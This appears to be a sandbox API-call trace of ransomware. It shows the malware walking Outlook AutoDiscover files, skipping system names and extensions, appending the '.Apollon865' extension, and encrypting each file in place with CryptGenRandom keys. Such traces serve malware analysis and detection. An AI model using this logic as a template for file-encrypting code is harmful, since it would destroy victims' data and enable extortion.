	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.956] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.956] CloseHandle (hObject=0x118) returned 1
	[0069.956] CloseHandle (hObject=0xc0) returned 1
	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.957] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="SWBELL~1.XML")) returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2=".") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="..") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="windows") returned -1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="bootmgr") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="temp") returned -1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="pagefile.sys") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="boot") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="ids.txt") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="perflogs") returned 1
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2="MSBuild") returned 1
	[0069.957] lstrlenW (lpString="SWBELL.NET.XML") returned 14
	[0069.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML") returned 75
	[0069.957] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SWBELL.NET.XML" | out: lpString1="SWBELL.NET.XML") returned="SWBELL.NET.XML"
	[0069.957] lstrlenW (lpString="SWBELL.NET.XML") returned 14
	[0069.957] lstrlenW (lpString="Apollon865") returned 10
	[0069.957] lstrcmpiW (lpString1="LL.NET.XML", lpString2="Apollon865") returned 1
	[0069.957] lstrlenW (lpString=".dll") returned 4
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2=".dll") returned 1
	[0069.957] lstrlenW (lpString=".lnk") returned 4
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2=".lnk") returned 1
	[0069.957] lstrlenW (lpString=".ini") returned 4
	[0069.957] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2=".ini") returned 1
	[0069.957] lstrlenW (lpString=".sys") returned 4
	[0069.958] lstrcmpiW (lpString1="SWBELL.NET.XML", lpString2=".sys") returned 1
	[0069.958] lstrlenW (lpString="SWBELL.NET.XML") returned 14
	[0069.958] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.Apollon865") returned 88
	[0069.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.960] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0069.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.960] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.961] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.961] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.961] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.962] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.963] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.963] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.963] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.964] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.964] CloseHandle (hObject=0x118) returned 1
	[0069.964] CloseHandle (hObject=0xc0) returned 1
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.964] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TALK21.COM.XML", cAlternateFileName="TALK21~1.XML")) returned 1
	[0069.964] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.964] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2=".") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="..") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="windows") returned -1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="bootmgr") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="temp") returned -1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="pagefile.sys") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="boot") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="ids.txt") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="ntuser.dat") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="perflogs") returned 1
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2="MSBuild") returned 1
	[0069.965] lstrlenW (lpString="TALK21.COM.XML") returned 14
	[0069.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML") returned 77
	[0069.965] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="TALK21.COM.XML" | out: lpString1="TALK21.COM.XML") returned="TALK21.COM.XML"
	[0069.965] lstrlenW (lpString="TALK21.COM.XML") returned 14
	[0069.965] lstrlenW (lpString="Apollon865") returned 10
	[0069.965] lstrcmpiW (lpString1="21.COM.XML", lpString2="Apollon865") returned -1
	[0069.965] lstrlenW (lpString=".dll") returned 4
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2=".dll") returned 1
	[0069.965] lstrlenW (lpString=".lnk") returned 4
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2=".lnk") returned 1
	[0069.965] lstrlenW (lpString=".ini") returned 4
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2=".ini") returned 1
	[0069.965] lstrlenW (lpString=".sys") returned 4
	[0069.965] lstrcmpiW (lpString1="TALK21.COM.XML", lpString2=".sys") returned 1
	[0069.965] lstrlenW (lpString="TALK21.COM.XML") returned 14
	[0069.965] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.Apollon865") returned 88
	[0069.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.967] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=807) returned 1
	[0069.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.967] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.968] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.968] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.968] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.970] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.970] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.971] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.971] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.972] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.972] CloseHandle (hObject=0x118) returned 1
	[0069.972] CloseHandle (hObject=0xc0) returned 1
	[0069.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.972] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="WANSNE~1.XML")) returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2=".") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="..") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="windows") returned -1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="bootmgr") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="temp") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="pagefile.sys") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="boot") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="ids.txt") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="perflogs") returned 1
	[0069.972] lstrcmpiW (lpString1="WANS.NET.XML", lpString2="MSBuild") returned 1
	[0069.972] lstrlenW (lpString="WANS.NET.XML") returned 12
	[0069.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML") returned 77
	[0069.972] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WANS.NET.XML" | out: lpString1="WANS.NET.XML") returned="WANS.NET.XML"
	[0069.973] lstrlenW (lpString="WANS.NET.XML") returned 12
	[0069.973] lstrlenW (lpString="Apollon865") returned 10
	[0069.973] lstrcmpiW (lpString1="NS.NET.XML", lpString2="Apollon865") returned 1
	[0069.973] lstrlenW (lpString=".dll") returned 4
	[0069.973] lstrcmpiW (lpString1="WANS.NET.XML", lpString2=".dll") returned 1
	[0069.973] lstrlenW (lpString=".lnk") returned 4
	[0069.973] lstrcmpiW (lpString1="WANS.NET.XML", lpString2=".lnk") returned 1
	[0069.973] lstrlenW (lpString=".ini") returned 4
	[0069.973] lstrcmpiW (lpString1="WANS.NET.XML", lpString2=".ini") returned 1
	[0069.973] lstrlenW (lpString=".sys") returned 4
	[0069.973] lstrcmpiW (lpString1="WANS.NET.XML", lpString2=".sys") returned 1
	[0069.973] lstrlenW (lpString="WANS.NET.XML") returned 12
	[0069.973] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.Apollon865") returned 86
	[0069.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.974] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0069.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.975] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.975] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.975] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.976] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.977] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.978] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.981] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.981] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.981] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.981] CloseHandle (hObject=0x118) returned 1
	[0069.981] CloseHandle (hObject=0xc0) returned 1
	[0069.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.982] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="YAHOOC~2.XML")) returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2=".") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="..") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="windows") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="bootmgr") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="temp") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="pagefile.sys") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="boot") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="ids.txt") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="ntuser.dat") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="perflogs") returned 1
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2="MSBuild") returned 1
	[0069.982] lstrlenW (lpString="YAHOO.CA.XML") returned 12
	[0069.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML") returned 75
	[0069.982] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CA.XML" | out: lpString1="YAHOO.CA.XML") returned="YAHOO.CA.XML"
	[0069.982] lstrlenW (lpString="YAHOO.CA.XML") returned 12
	[0069.982] lstrlenW (lpString="Apollon865") returned 10
	[0069.982] lstrcmpiW (lpString1="HOO.CA.XML", lpString2="Apollon865") returned 1
	[0069.982] lstrlenW (lpString=".dll") returned 4
	[0069.982] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2=".dll") returned 1
	[0069.983] lstrlenW (lpString=".lnk") returned 4
	[0069.983] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2=".lnk") returned 1
	[0069.983] lstrlenW (lpString=".ini") returned 4
	[0069.983] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2=".ini") returned 1
	[0069.983] lstrlenW (lpString=".sys") returned 4
	[0069.983] lstrcmpiW (lpString1="YAHOO.CA.XML", lpString2=".sys") returned 1
	[0069.983] lstrlenW (lpString="YAHOO.CA.XML") returned 12
	[0069.983] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.Apollon865") returned 86
	[0069.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.984] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=804) returned 1
	[0069.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
